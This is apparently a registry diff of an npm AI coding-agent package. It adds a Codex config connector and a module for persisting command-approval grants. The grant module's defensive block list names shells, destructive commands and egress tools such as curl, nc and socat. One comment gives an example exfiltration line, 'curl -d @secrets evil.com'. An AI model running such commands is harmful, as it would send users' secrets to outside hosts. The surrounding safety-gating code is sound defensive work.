@yagni-app/code 0.2.1 → 0.3.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.d.ts +30 -0
- package/dist/cli.js +147 -3
- package/dist/connectClaudeCode.d.ts +77 -0
- package/dist/connectClaudeCode.js +228 -0
- package/dist/connectCodex.d.ts +75 -0
- package/dist/connectCodex.js +201 -0
- package/dist/doctor.d.ts +1 -1
- package/dist/doctor.js +1 -1
- package/dist/extension/advisor.d.ts +4 -4
- package/dist/extension/advisor.js +6 -7
- package/dist/extension/approvedPrefixes.d.ts +103 -0
- package/dist/extension/approvedPrefixes.js +282 -0
- package/dist/extension/askAdvisorTool.d.ts +20 -5
- package/dist/extension/askAdvisorTool.js +126 -20
- package/dist/extension/askYagniTool.d.ts +23 -0
- package/dist/extension/askYagniTool.js +91 -2
- package/dist/extension/branding.d.ts +34 -3
- package/dist/extension/branding.js +114 -13
- package/dist/extension/chipEditor.d.ts +30 -9
- package/dist/extension/chipEditor.js +173 -59
- package/dist/extension/claudeRules.d.ts +0 -2
- package/dist/extension/claudeRules.js +0 -8
- package/dist/extension/cmux/dispatcher.d.ts +25 -0
- package/dist/extension/cmux/dispatcher.js +266 -0
- package/dist/extension/cmux/hooks.d.ts +12 -0
- package/dist/extension/cmux/hooks.js +192 -0
- package/dist/extension/cmux/index.d.ts +3 -0
- package/dist/extension/cmux/index.js +155 -0
- package/dist/extension/cmux/naming.d.ts +5 -0
- package/dist/extension/cmux/naming.js +23 -0
- package/dist/extension/cmux/state.d.ts +33 -0
- package/dist/extension/cmux/state.js +142 -0
- package/dist/extension/config.d.ts +44 -1
- package/dist/extension/config.js +37 -4
- package/dist/extension/costHud.d.ts +16 -22
- package/dist/extension/costHud.js +8 -47
- package/dist/extension/crashReport.js +1 -3
- package/dist/extension/execPolicy.d.ts +135 -0
- package/dist/extension/execPolicy.js +936 -0
- package/dist/extension/flywheel.d.ts +44 -0
- package/dist/extension/flywheel.js +53 -0
- package/dist/extension/footer.d.ts +118 -0
- package/dist/extension/footer.js +308 -0
- package/dist/extension/guardian.d.ts +139 -0
- package/dist/extension/guardian.js +237 -0
- package/dist/extension/index.d.ts +35 -7
- package/dist/extension/index.js +338 -33
- package/dist/extension/mineBeat.d.ts +95 -0
- package/dist/extension/mineBeat.js +193 -0
- package/dist/extension/permission.d.ts +124 -10
- package/dist/extension/permission.js +603 -52
- package/dist/extension/pipeline/childRegistry.d.ts +41 -0
- package/dist/extension/pipeline/childRegistry.js +118 -0
- package/dist/extension/pipeline/finish.js +5 -1
- package/dist/extension/pipeline/goCommand.d.ts +1 -1
- package/dist/extension/pipeline/goCommand.js +40 -9
- package/dist/extension/pipeline/goStatusCommands.d.ts +10 -0
- package/dist/extension/pipeline/goStatusCommands.js +61 -1
- package/dist/extension/pipeline/personas.js +26 -1
- package/dist/extension/pipeline/resilience.d.ts +2 -1
- package/dist/extension/pipeline/resilience.js +21 -2
- package/dist/extension/pipeline/runRegistry.d.ts +23 -1
- package/dist/extension/pipeline/runRegistry.js +57 -1
- package/dist/extension/pipeline/runner.js +4 -0
- package/dist/extension/pipeline/verify.d.ts +4 -0
- package/dist/extension/pipeline/verify.js +48 -26
- package/dist/extension/recordDecisionTool.d.ts +8 -0
- package/dist/extension/recordDecisionTool.js +24 -0
- package/dist/extension/redact.d.ts +20 -0
- package/dist/extension/redact.js +64 -0
- package/dist/extension/rerouteNotice.d.ts +3 -4
- package/dist/extension/rerouteNotice.js +20 -11
- package/dist/extension/subagentRender.d.ts +129 -0
- package/dist/extension/subagentRender.js +441 -0
- package/dist/extension/subagents.d.ts +11 -8
- package/dist/extension/subagents.js +162 -37
- package/dist/extension/ticketTools.d.ts +37 -0
- package/dist/extension/ticketTools.js +117 -0
- package/dist/extension/todos.d.ts +28 -1
- package/dist/extension/todos.js +76 -1
- package/dist/extension/tokenProvider.js +46 -5
- package/dist/extension/ultra.d.ts +27 -0
- package/dist/extension/ultra.js +76 -0
- package/dist/launch.d.ts +7 -0
- package/dist/launch.js +24 -12
- package/dist/login.d.ts +4 -2
- package/dist/login.js +19 -4
- package/dist/padding.d.ts +22 -0
- package/dist/padding.js +25 -0
- package/dist/promptEnrichment.d.ts +40 -0
- package/dist/promptEnrichment.js +85 -0
- package/dist/signalForward.d.ts +60 -0
- package/dist/signalForward.js +130 -0
- package/dist/token.d.ts +25 -0
- package/dist/token.js +45 -0
- package/package.json +6 -5
- package/dist/extension/boostCommand.d.ts +0 -144
- package/dist/extension/boostCommand.js +0 -263
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* `yagni connect codex` — point Codex CLI at the YAGNI model proxy.
|
|
3
|
+
*
|
|
4
|
+
* Writes into `~/.codex/config.toml` (respecting CODEX_HOME):
|
|
5
|
+
*
|
|
6
|
+
* model_provider = "yagni" the active provider
|
|
7
|
+
* model = "advanced" a YAGNI tier — Codex sends it
|
|
8
|
+
* verbatim and the proxy's catalog
|
|
9
|
+
* enforcement validates it
|
|
10
|
+
* [model_providers.yagni] base_url → `<base>/v1` (Codex
|
|
11
|
+
* appends /responses — the proxy's
|
|
12
|
+
* Responses-dialect route),
|
|
13
|
+
* wire_api "responses" (the only
|
|
14
|
+
* wire current Codex speaks),
|
|
15
|
+
* x-yagni-caller: codex attribution,
|
|
16
|
+
* and auth.command = `yagni token` —
|
|
17
|
+
* Codex's command-backed bearer
|
|
18
|
+
* token, so no secret is ever baked
|
|
19
|
+
* into the config and rotation rides
|
|
20
|
+
* the same refresh client as
|
|
21
|
+
* everything else.
|
|
22
|
+
*
|
|
23
|
+
* TOML cannot be comment-preservingly round-tripped by a parser, so when the
|
|
24
|
+
* existing config carries comments we save a one-time `config.toml.yagni-backup`
|
|
25
|
+
* next to it before rewriting and say so — never silently eat a user's notes.
|
|
26
|
+
* Everything else follows the claude-code connector's contract: managed keys
|
|
27
|
+
* only, atomic write, symlink refusal, corrupt file is a loud error, `--off`
|
|
28
|
+
* removes exactly what we own.
|
|
29
|
+
*/
|
|
30
|
+
import { existsSync, lstatSync, mkdirSync, readFileSync, renameSync, rmSync, writeFileSync } from "node:fs";
|
|
31
|
+
import { homedir } from "node:os";
|
|
32
|
+
import { dirname, join } from "node:path";
|
|
33
|
+
import { parse as parseToml, stringify as stringifyToml } from "smol-toml";
|
|
34
|
+
import { DISTRIBUTION } from "./distribution.js";
|
|
35
|
+
import { credentialsFromProfile, readActiveProfile } from "./profiles.js";
|
|
36
|
+
export const CODEX_PROVIDER_ID = "yagni";
|
|
37
|
+
export const CODEX_DEFAULT_TIER = "advanced";
|
|
38
|
+
export function codexConfigPath(home = homedir(), env = process.env) {
|
|
39
|
+
const codexHome = env.CODEX_HOME?.trim() ? env.CODEX_HOME.trim() : join(home, ".codex");
|
|
40
|
+
return join(codexHome, "config.toml");
|
|
41
|
+
}
|
|
42
|
+
function providersOf(config) {
|
|
43
|
+
const providers = config.model_providers;
|
|
44
|
+
return providers && typeof providers === "object" && !Array.isArray(providers)
|
|
45
|
+
? { ...providers }
|
|
46
|
+
: {};
|
|
47
|
+
}
|
|
48
|
+
/** Pure: the config after connecting, plus what changed. */
|
|
49
|
+
export function planConnectCodex(existing, input) {
|
|
50
|
+
const changes = [];
|
|
51
|
+
const replaced = [];
|
|
52
|
+
const note = (key, prior, next) => {
|
|
53
|
+
if (prior === next)
|
|
54
|
+
return;
|
|
55
|
+
changes.push(prior === undefined ? `${key} = ${next}` : `${key}: ${String(prior)} → ${next}`);
|
|
56
|
+
if (prior !== undefined)
|
|
57
|
+
replaced.push(key);
|
|
58
|
+
};
|
|
59
|
+
note("model_provider", existing.model_provider, CODEX_PROVIDER_ID);
|
|
60
|
+
note("model", existing.model, CODEX_DEFAULT_TIER);
|
|
61
|
+
const providers = providersOf(existing);
|
|
62
|
+
if (providers[CODEX_PROVIDER_ID] === undefined) {
|
|
63
|
+
changes.push(`model_providers.${CODEX_PROVIDER_ID} = (provider block)`);
|
|
64
|
+
}
|
|
65
|
+
providers[CODEX_PROVIDER_ID] = {
|
|
66
|
+
name: "YAGNI",
|
|
67
|
+
base_url: `${input.baseUrl}/v1`,
|
|
68
|
+
wire_api: "responses",
|
|
69
|
+
http_headers: { "x-yagni-caller": "codex" },
|
|
70
|
+
auth: { command: input.commandName, args: ["token"] },
|
|
71
|
+
};
|
|
72
|
+
return {
|
|
73
|
+
config: {
|
|
74
|
+
...existing,
|
|
75
|
+
model_provider: CODEX_PROVIDER_ID,
|
|
76
|
+
model: CODEX_DEFAULT_TIER,
|
|
77
|
+
model_providers: providers,
|
|
78
|
+
},
|
|
79
|
+
changes,
|
|
80
|
+
replaced,
|
|
81
|
+
};
|
|
82
|
+
}
|
|
83
|
+
/** Pure: the config after `--off` — our provider and its selection out. */
|
|
84
|
+
export function planDisconnectCodex(existing) {
|
|
85
|
+
const removed = [];
|
|
86
|
+
const out = { ...existing };
|
|
87
|
+
const providers = providersOf(existing);
|
|
88
|
+
if (providers[CODEX_PROVIDER_ID] !== undefined) {
|
|
89
|
+
removed.push(`model_providers.${CODEX_PROVIDER_ID}`);
|
|
90
|
+
delete providers[CODEX_PROVIDER_ID];
|
|
91
|
+
}
|
|
92
|
+
if (Object.keys(providers).length === 0)
|
|
93
|
+
delete out.model_providers;
|
|
94
|
+
else
|
|
95
|
+
out.model_providers = providers;
|
|
96
|
+
// The model selection is only ours when it points at our provider — a
|
|
97
|
+
// foreign model_provider (and its paired model) is left untouched.
|
|
98
|
+
if (out.model_provider === CODEX_PROVIDER_ID) {
|
|
99
|
+
removed.push("model_provider");
|
|
100
|
+
delete out.model_provider;
|
|
101
|
+
if (typeof out.model === "string") {
|
|
102
|
+
removed.push("model");
|
|
103
|
+
delete out.model;
|
|
104
|
+
}
|
|
105
|
+
}
|
|
106
|
+
return { config: out, removed };
|
|
107
|
+
}
|
|
108
|
+
/** Read + parse the Codex config. Missing → {}. Corrupt/symlink → throws. */
|
|
109
|
+
export function readCodexConfig(path) {
|
|
110
|
+
if (!existsSync(path))
|
|
111
|
+
return { config: {}, raw: null };
|
|
112
|
+
if (lstatSync(path).isSymbolicLink()) {
|
|
113
|
+
throw new Error(`${path} is a symlink; refusing to rewrite it. Point yagni at the real file.`);
|
|
114
|
+
}
|
|
115
|
+
const raw = readFileSync(path, "utf8");
|
|
116
|
+
let parsed;
|
|
117
|
+
try {
|
|
118
|
+
parsed = parseToml(raw);
|
|
119
|
+
}
|
|
120
|
+
catch {
|
|
121
|
+
throw new Error(`${path} is not valid TOML. Fix or remove it, then re-run.`);
|
|
122
|
+
}
|
|
123
|
+
if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) {
|
|
124
|
+
throw new Error(`${path} does not hold a TOML table. Fix or remove it, then re-run.`);
|
|
125
|
+
}
|
|
126
|
+
return { config: parsed, raw };
|
|
127
|
+
}
|
|
128
|
+
const COMMENT_RE = /^\s*#|\s#/m;
|
|
129
|
+
/**
|
|
130
|
+
* Atomic write; when the original text carried comments (which a parse →
|
|
131
|
+
* stringify round-trip cannot preserve), a `config.toml.yagni-backup` copy of
|
|
132
|
+
* the original is written first. Returns the backup path when one was made.
|
|
133
|
+
*/
|
|
134
|
+
export function writeCodexConfig(path, config, originalRaw) {
|
|
135
|
+
mkdirSync(dirname(path), { recursive: true });
|
|
136
|
+
let backupPath = null;
|
|
137
|
+
if (originalRaw !== null && COMMENT_RE.test(originalRaw)) {
|
|
138
|
+
backupPath = `${path}.yagni-backup`;
|
|
139
|
+
writeFileSync(backupPath, originalRaw);
|
|
140
|
+
}
|
|
141
|
+
const existingMode = existsSync(path) ? lstatSync(path).mode & 0o777 : undefined;
|
|
142
|
+
const tmp = join(dirname(path), `.${DISTRIBUTION.commandName}-connect-codex-${process.pid}.tmp`);
|
|
143
|
+
try {
|
|
144
|
+
writeFileSync(tmp, `${stringifyToml(config)}\n`, existingMode !== undefined ? { mode: existingMode } : {});
|
|
145
|
+
renameSync(tmp, path);
|
|
146
|
+
}
|
|
147
|
+
finally {
|
|
148
|
+
rmSync(tmp, { force: true });
|
|
149
|
+
}
|
|
150
|
+
return backupPath;
|
|
151
|
+
}
|
|
152
|
+
export async function connectCodexCommand(opts, deps = {}) {
|
|
153
|
+
const stdout = deps.stdout ?? ((t) => process.stdout.write(t));
|
|
154
|
+
const stderr = deps.stderr ?? ((t) => process.stderr.write(t));
|
|
155
|
+
const env = deps.env ?? process.env;
|
|
156
|
+
const path = codexConfigPath(deps.home, env);
|
|
157
|
+
const profile = await (deps.readProfile ?? readActiveProfile)();
|
|
158
|
+
let file;
|
|
159
|
+
try {
|
|
160
|
+
file = readCodexConfig(path);
|
|
161
|
+
}
|
|
162
|
+
catch (err) {
|
|
163
|
+
stderr(`${err instanceof Error ? err.message : String(err)}\n`);
|
|
164
|
+
return 1;
|
|
165
|
+
}
|
|
166
|
+
if (opts.off) {
|
|
167
|
+
const plan = planDisconnectCodex(file.config);
|
|
168
|
+
if (plan.removed.length === 0) {
|
|
169
|
+
stdout(`Nothing to disconnect in ${path}.\n`);
|
|
170
|
+
return 0;
|
|
171
|
+
}
|
|
172
|
+
const backup = writeCodexConfig(path, plan.config, file.raw);
|
|
173
|
+
stdout(`✓ Codex disconnected from YAGNI.\n ${path}\n Removed: ${plan.removed.join(", ")}\n`);
|
|
174
|
+
if (backup)
|
|
175
|
+
stdout(` Comments in the original were preserved at ${backup}.\n`);
|
|
176
|
+
return 0;
|
|
177
|
+
}
|
|
178
|
+
const creds = credentialsFromProfile(profile);
|
|
179
|
+
if (!creds?.token) {
|
|
180
|
+
stderr(`Not logged in to environment "${profile.name}" (${profile.baseUrl}). Run \`${DISTRIBUTION.commandName} login\` first.\n`);
|
|
181
|
+
return 1;
|
|
182
|
+
}
|
|
183
|
+
const plan = planConnectCodex(file.config, {
|
|
184
|
+
baseUrl: profile.baseUrl,
|
|
185
|
+
commandName: DISTRIBUTION.commandName,
|
|
186
|
+
});
|
|
187
|
+
const backup = writeCodexConfig(path, plan.config, file.raw);
|
|
188
|
+
stdout(`✓ Codex connected to YAGNI (${profile.name} → ${profile.baseUrl}).\n`);
|
|
189
|
+
stdout(` ${path}\n`);
|
|
190
|
+
for (const change of plan.changes)
|
|
191
|
+
stdout(` ${change}\n`);
|
|
192
|
+
for (const key of plan.replaced) {
|
|
193
|
+
stdout(` Replaced an existing ${key}. \`connect codex --off\` removes YAGNI's value but cannot restore the old one.\n`);
|
|
194
|
+
}
|
|
195
|
+
if (backup) {
|
|
196
|
+
stdout(` Your config had comments, which a rewrite cannot keep. The original is at ${backup}.\n`);
|
|
197
|
+
}
|
|
198
|
+
stdout(` Restart Codex to pick this up. It runs \`${DISTRIBUTION.commandName} token\` for credentials and serves the "${CODEX_DEFAULT_TIER}" tier; edit \`model\` to any YAGNI tier to change that.\n`);
|
|
199
|
+
return 0;
|
|
200
|
+
}
|
|
201
|
+
//# sourceMappingURL=connectCodex.js.map
|
package/dist/doctor.d.ts
CHANGED
|
@@ -94,7 +94,7 @@ export interface DoctorDeps {
|
|
|
94
94
|
export declare function ghOnPathDefault(env?: NodeJS.ProcessEnv): boolean;
|
|
95
95
|
/**
|
|
96
96
|
* Locate the bash pi will actually use on Windows. The order and locations
|
|
97
|
-
* MIRROR pi 0.
|
|
97
|
+
* MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
|
|
98
98
|
* `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
|
|
99
99
|
* then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
|
|
100
100
|
* per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible
|
package/dist/doctor.js
CHANGED
|
@@ -316,7 +316,7 @@ export function ghOnPathDefault(env = process.env) {
|
|
|
316
316
|
}
|
|
317
317
|
/**
|
|
318
318
|
* Locate the bash pi will actually use on Windows. The order and locations
|
|
319
|
-
* MIRROR pi 0.
|
|
319
|
+
* MIRROR pi 0.84.1's own shell resolution (dist/utils/shell.js) exactly:
|
|
320
320
|
* `%ProgramFiles%\Git\bin\bash.exe`, then `%ProgramFiles(x86)%\Git\bin\bash.exe`,
|
|
321
321
|
* then `bash.exe` on PATH (`where bash.exe`). Deliberately NOTHING wider — a
|
|
322
322
|
* per-user Git install in `%LOCALAPPDATA%` that is not on PATH is invisible
|
|
@@ -22,8 +22,8 @@
|
|
|
22
22
|
* State is held in a closure via {@link makeAdvisorState}; no module-level
|
|
23
23
|
* mutable state, so two sessions in one process cannot bleed into each other.
|
|
24
24
|
*/
|
|
25
|
-
/** The session tier that may escalate.
|
|
26
|
-
export declare const ADVISOR_TIER = "
|
|
25
|
+
/** The session tier that may escalate. Advanced only, by design. */
|
|
26
|
+
export declare const ADVISOR_TIER = "advanced";
|
|
27
27
|
/** The tier a consult itself runs on. */
|
|
28
28
|
export declare const ADVISOR_MODEL_TIER = "peak";
|
|
29
29
|
/** Bounds on escalation within a single session. */
|
|
@@ -64,8 +64,8 @@ export interface ConsultGateInput {
|
|
|
64
64
|
* The tier check reads the model at CALL time rather than at registration time:
|
|
65
65
|
* tools register once at activation but pi's picker can switch the session model
|
|
66
66
|
* afterwards, so a registration-time check would both leave the tool live after
|
|
67
|
-
* switching away from
|
|
68
|
-
* to
|
|
67
|
+
* switching away from Advanced and hide it forever from a session that switched
|
|
68
|
+
* to Advanced.
|
|
69
69
|
*/
|
|
70
70
|
export declare function decideConsult(input: ConsultGateInput): ConsultDecision;
|
|
71
71
|
/**
|
|
@@ -22,8 +22,8 @@
|
|
|
22
22
|
* State is held in a closure via {@link makeAdvisorState}; no module-level
|
|
23
23
|
* mutable state, so two sessions in one process cannot bleed into each other.
|
|
24
24
|
*/
|
|
25
|
-
/** The session tier that may escalate.
|
|
26
|
-
export const ADVISOR_TIER = "
|
|
25
|
+
/** The session tier that may escalate. Advanced only, by design. */
|
|
26
|
+
export const ADVISOR_TIER = "advanced";
|
|
27
27
|
/** The tier a consult itself runs on. */
|
|
28
28
|
export const ADVISOR_MODEL_TIER = "peak";
|
|
29
29
|
export const DEFAULT_ADVISOR_LIMITS = {
|
|
@@ -49,17 +49,16 @@ export function makeAdvisorState() {
|
|
|
49
49
|
* The tier check reads the model at CALL time rather than at registration time:
|
|
50
50
|
* tools register once at activation but pi's picker can switch the session model
|
|
51
51
|
* afterwards, so a registration-time check would both leave the tool live after
|
|
52
|
-
* switching away from
|
|
53
|
-
* to
|
|
52
|
+
* switching away from Advanced and hide it forever from a session that switched
|
|
53
|
+
* to Advanced.
|
|
54
54
|
*/
|
|
55
55
|
export function decideConsult(input) {
|
|
56
56
|
const { model, state, limits } = input;
|
|
57
57
|
if (model !== ADVISOR_TIER) {
|
|
58
58
|
return {
|
|
59
59
|
allow: false,
|
|
60
|
-
reason: `ask_advisor is only available on the
|
|
61
|
-
`"${model ?? "unknown"}")
|
|
62
|
-
`peak-tier advisor, or reason it through on the current tier.`,
|
|
60
|
+
reason: `ask_advisor is only available on the Advanced tier (this session is on ` +
|
|
61
|
+
`"${model ?? "unknown"}").`,
|
|
63
62
|
};
|
|
64
63
|
}
|
|
65
64
|
if (state.consults >= limits.maxConsults) {
|
|
@@ -0,0 +1,103 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Approved command prefixes — persisted "don't ask again" grants (YAG-510).
|
|
3
|
+
*
|
|
4
|
+
* When the Guardian asks and the user answers "Yes, and don't ask again for
|
|
5
|
+
* `git push …`", the derived prefix is persisted and future commands matching
|
|
6
|
+
* it run without a Guardian consult.
|
|
7
|
+
*
|
|
8
|
+
* Grants deliberately live OUTSIDE the exec policy: they are consulted by the
|
|
9
|
+
* permission gate ONLY after classifyCommand returns "prompt", so a grant can
|
|
10
|
+
* never override the forbidden band, pipe-to-shell, or compound-strictest
|
|
11
|
+
* aggregation — by construction, not by rule ordering. (Inserting grant rules
|
|
12
|
+
* into ExecPolicy.rules was reviewed and rejected: appended rules are a
|
|
13
|
+
* first-match-wins no-op behind the built-in prompt rules, and prepended
|
|
14
|
+
* rules would shadow the forbidden block.)
|
|
15
|
+
*
|
|
16
|
+
* Scope: grants are per-repo — keyed by the git remote origin URL of the
|
|
17
|
+
* session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
|
|
18
|
+
* scratch repo must not auto-allow pushes in the production monorepo.
|
|
19
|
+
*
|
|
20
|
+
* Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
|
|
21
|
+
* append so concurrent sessions don't clobber each other's grants. Sessions
|
|
22
|
+
* already running only see new grants at next startup (accepted).
|
|
23
|
+
*
|
|
24
|
+
* Pure derivation/matching half + a small I/O half (load/append/repoKey),
|
|
25
|
+
* same split as guardian.ts and permission.ts so the rules are exhaustively
|
|
26
|
+
* testable without touching the filesystem.
|
|
27
|
+
*/
|
|
28
|
+
import { type ExecPolicy } from "./execPolicy.js";
|
|
29
|
+
export interface ApprovedPrefixGrant {
|
|
30
|
+
/** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
|
|
31
|
+
pattern: string[];
|
|
32
|
+
/** Repo the grant applies to (git remote origin URL or realpath of cwd). */
|
|
33
|
+
repoKey: string;
|
|
34
|
+
/** ISO timestamp of the grant. */
|
|
35
|
+
addedAt: string;
|
|
36
|
+
/** The cwd where the grant was made (provenance for a future revoke UI). */
|
|
37
|
+
cwd: string;
|
|
38
|
+
}
|
|
39
|
+
export interface ApprovedPrefixFile {
|
|
40
|
+
version: 1;
|
|
41
|
+
grants: ApprovedPrefixGrant[];
|
|
42
|
+
}
|
|
43
|
+
/**
|
|
44
|
+
* Prefixes that must never be grantable. Interpreters and wrappers would
|
|
45
|
+
* grant arbitrary execution; rm/kill/chmod/chown are destruction families;
|
|
46
|
+
* network/egress tools would grant permanent unreviewed exfiltration paths
|
|
47
|
+
* (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
|
|
48
|
+
* multi-subcommand tools are banned via derivation (never offered).
|
|
49
|
+
*/
|
|
50
|
+
export declare const BANNED_PREFIXES: Set<string>;
|
|
51
|
+
export declare function derivePrefix(command: string): string[] | null;
|
|
52
|
+
/**
|
|
53
|
+
* Command-family label for storage analytics (YAG-510): token 1 (basename'd),
|
|
54
|
+
* plus token 2 only for known multi-subcommand tools when it is a plain
|
|
55
|
+
* subcommand word — a psql conn-string or URL must never land in the prefix
|
|
56
|
+
* column. Unlike derivePrefix this labels EVERY command (banned families and
|
|
57
|
+
* compound commands included; compound commands are labeled by their first
|
|
58
|
+
* segment's command word).
|
|
59
|
+
*/
|
|
60
|
+
export declare function storagePrefix(command: string): string;
|
|
61
|
+
/**
|
|
62
|
+
* Does `command` fall under one of the session's grants? Pure. The caller
|
|
63
|
+
* (permission gate) must only consult this AFTER classifyCommand returned
|
|
64
|
+
* "prompt" — grants never override forbidden.
|
|
65
|
+
*/
|
|
66
|
+
export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
|
|
67
|
+
/**
|
|
68
|
+
* Grant-time validation: only offer/accept a grant when the current command
|
|
69
|
+
* would actually auto-run under it — classification is "prompt" AND the
|
|
70
|
+
* hypothetical grant matches. Prevents offering a "don't ask again" that
|
|
71
|
+
* wouldn't have prevented this ask (or that covers a fenced shape).
|
|
72
|
+
*/
|
|
73
|
+
export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
|
|
74
|
+
/** Human label for the remember option: "git push …". */
|
|
75
|
+
export declare function describePrefix(pattern: string[]): string;
|
|
76
|
+
/**
|
|
77
|
+
* Could {@link derivePrefix} ever have produced this pattern? The persisted
|
|
78
|
+
* file is plain JSON on disk, so a row that derivation could not have written
|
|
79
|
+
* (a banned interpreter/destruction/egress prefix, a bare multi-subcommand
|
|
80
|
+
* tool, a path-prefixed word, or an over-long pattern) is treated as
|
|
81
|
+
* tampered/corrupt and dropped at load time rather than honored (PR #1698
|
|
82
|
+
* review). This is defense in depth, not the trust boundary itself — the
|
|
83
|
+
* boundary is that grants only enter the live gate at startup or through the
|
|
84
|
+
* gate's own ask flow.
|
|
85
|
+
*/
|
|
86
|
+
export declare function isDerivablePattern(pattern: readonly string[]): boolean;
|
|
87
|
+
export declare function rulesFilePath(homeOverride?: string | null): string;
|
|
88
|
+
/**
|
|
89
|
+
* Resolve the grant scope key for a session cwd: the git remote origin URL,
|
|
90
|
+
* falling back to the realpath of the cwd (no remote, not a repo, git
|
|
91
|
+
* missing). Fail-soft — never throws.
|
|
92
|
+
*/
|
|
93
|
+
export declare function resolveRepoKey(cwd: string): string;
|
|
94
|
+
/** Load persisted grants. Malformed or missing file → empty (fail-soft). */
|
|
95
|
+
export declare function loadGrants(homeOverride?: string | null): ApprovedPrefixGrant[];
|
|
96
|
+
/**
|
|
97
|
+
* Persist a new grant: re-read the file, merge (drop exact duplicates), write.
|
|
98
|
+
* The re-read is the concurrency guard — a parallel session's grant appended
|
|
99
|
+
* between our load and this call survives. Returns the merged list; throws
|
|
100
|
+
* never (fail-soft, returns the in-memory merge even if the write fails).
|
|
101
|
+
*/
|
|
102
|
+
export declare function appendGrant(grant: ApprovedPrefixGrant, homeOverride?: string | null): ApprovedPrefixGrant[];
|
|
103
|
+
//# sourceMappingURL=approvedPrefixes.d.ts.map
|
|
@@ -0,0 +1,282 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Approved command prefixes — persisted "don't ask again" grants (YAG-510).
|
|
3
|
+
*
|
|
4
|
+
* When the Guardian asks and the user answers "Yes, and don't ask again for
|
|
5
|
+
* `git push …`", the derived prefix is persisted and future commands matching
|
|
6
|
+
* it run without a Guardian consult.
|
|
7
|
+
*
|
|
8
|
+
* Grants deliberately live OUTSIDE the exec policy: they are consulted by the
|
|
9
|
+
* permission gate ONLY after classifyCommand returns "prompt", so a grant can
|
|
10
|
+
* never override the forbidden band, pipe-to-shell, or compound-strictest
|
|
11
|
+
* aggregation — by construction, not by rule ordering. (Inserting grant rules
|
|
12
|
+
* into ExecPolicy.rules was reviewed and rejected: appended rules are a
|
|
13
|
+
* first-match-wins no-op behind the built-in prompt rules, and prepended
|
|
14
|
+
* rules would shadow the forbidden block.)
|
|
15
|
+
*
|
|
16
|
+
* Scope: grants are per-repo — keyed by the git remote origin URL of the
|
|
17
|
+
* session cwd (fallback: realpath of the cwd). A `git push` grant earned in a
|
|
18
|
+
* scratch repo must not auto-allow pushes in the production monorepo.
|
|
19
|
+
*
|
|
20
|
+
* Persistence: ~/.yagni-code/rules.json, re-read-merged-written on every
|
|
21
|
+
* append so concurrent sessions don't clobber each other's grants. Sessions
|
|
22
|
+
* already running only see new grants at next startup (accepted).
|
|
23
|
+
*
|
|
24
|
+
* Pure derivation/matching half + a small I/O half (load/append/repoKey),
|
|
25
|
+
* same split as guardian.ts and permission.ts so the rules are exhaustively
|
|
26
|
+
* testable without touching the filesystem.
|
|
27
|
+
*/
|
|
28
|
+
import { execFileSync } from "node:child_process";
|
|
29
|
+
import { existsSync, mkdirSync, readFileSync, realpathSync, writeFileSync } from "node:fs";
|
|
30
|
+
import { dirname, join } from "node:path";
|
|
31
|
+
import { classifyCommand, shellParse, tokenize } from "./execPolicy.js";
|
|
32
|
+
import { codeStateHome } from "./stateHome.js";
|
|
33
|
+
// --- Derivation ---
|
|
34
|
+
/** Tools whose second token is a subcommand worth capturing in a prefix. */
|
|
35
|
+
const MULTI_SUBCOMMAND_TOOLS = new Set([
|
|
36
|
+
"git", "gh", "npm", "pnpm", "yarn", "docker", "kubectl", "fly", "cargo", "go",
|
|
37
|
+
]);
|
|
38
|
+
/**
|
|
39
|
+
* Prefixes that must never be grantable. Interpreters and wrappers would
|
|
40
|
+
* grant arbitrary execution; rm/kill/chmod/chown are destruction families;
|
|
41
|
+
* network/egress tools would grant permanent unreviewed exfiltration paths
|
|
42
|
+
* (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
|
|
43
|
+
* multi-subcommand tools are banned via derivation (never offered).
|
|
44
|
+
*/
|
|
45
|
+
export const BANNED_PREFIXES = new Set([
|
|
46
|
+
"bash", "sh", "zsh", "fish", "dash", "ksh",
|
|
47
|
+
"python", "python3", "node", "ruby", "perl", "deno", "bun",
|
|
48
|
+
"sudo", "env", "eval", "exec", "command", "builtin", "source", "xargs",
|
|
49
|
+
"rm", "kill", "chmod", "chown", "dd", "mkfs", "truncate",
|
|
50
|
+
"curl", "wget", "ssh", "scp", "rsync", "nc", "ncat", "socat", "psql",
|
|
51
|
+
]);
|
|
52
|
+
/** Second tokens must look like plain subcommand words (no URLs, no secrets). */
|
|
53
|
+
const SAFE_SUBCOMMAND_RE = /^[A-Za-z0-9:_-]+$/;
|
|
54
|
+
/**
|
|
55
|
+
* Derive the grantable prefix for a command, or null when the command is not
|
|
56
|
+
* grantable: multi-segment/compound, carries shell constructs, banned prefix,
|
|
57
|
+
* or a bare multi-subcommand tool with no subcommand.
|
|
58
|
+
*/
|
|
59
|
+
/**
|
|
60
|
+
* A command qualifies for grant coverage only when it is one plain command:
|
|
61
|
+
* no operators, no constructs (checked via the quote-aware tokenizer, so
|
|
62
|
+
* `git commit -m "a & b"` still qualifies — the & is quoted text).
|
|
63
|
+
*/
|
|
64
|
+
function isSinglePlainCommand(command) {
|
|
65
|
+
return !shellParse(command).some((t) => typeof t === "object");
|
|
66
|
+
}
|
|
67
|
+
export function derivePrefix(command) {
|
|
68
|
+
// Grants only ever cover single plain commands. Any operator or construct
|
|
69
|
+
// (|, &&, ;, newline, redirect, substitution, &) disqualifies.
|
|
70
|
+
if (!isSinglePlainCommand(command))
|
|
71
|
+
return null;
|
|
72
|
+
const tokens = tokenize(command);
|
|
73
|
+
